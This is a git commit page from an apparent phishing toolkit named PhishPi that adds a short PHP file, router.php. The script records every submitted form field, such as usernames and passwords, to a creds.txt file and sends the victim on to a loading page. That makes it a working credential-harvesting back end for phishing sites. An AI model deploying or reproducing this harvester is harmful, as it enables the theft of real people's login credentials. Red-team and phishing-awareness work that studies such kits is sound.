Browse Source

Create router.php

assume-breach 3 years ago
parent
commit
74fd08f789
1 changed files with 13 additions and 0 deletions
  1. 13 0
      PhishPi/Resources/router.php

+ 13 - 0
PhishPi/Resources/router.php

@@ -0,0 +1,13 @@
+<?php
+header ('Location:http://domain/loading.html');
+$handle = fopen("creds.txt", "a");
+foreach($_POST as $variable => $value) {
+   fwrite($handle, $variable);
+   fwrite($handle, "=");
+   fwrite($handle, $value);
+   fwrite($handle, "\r\n");
+}
+fwrite($handle, "\r\n");
+fclose($handle);
+exit;
+?>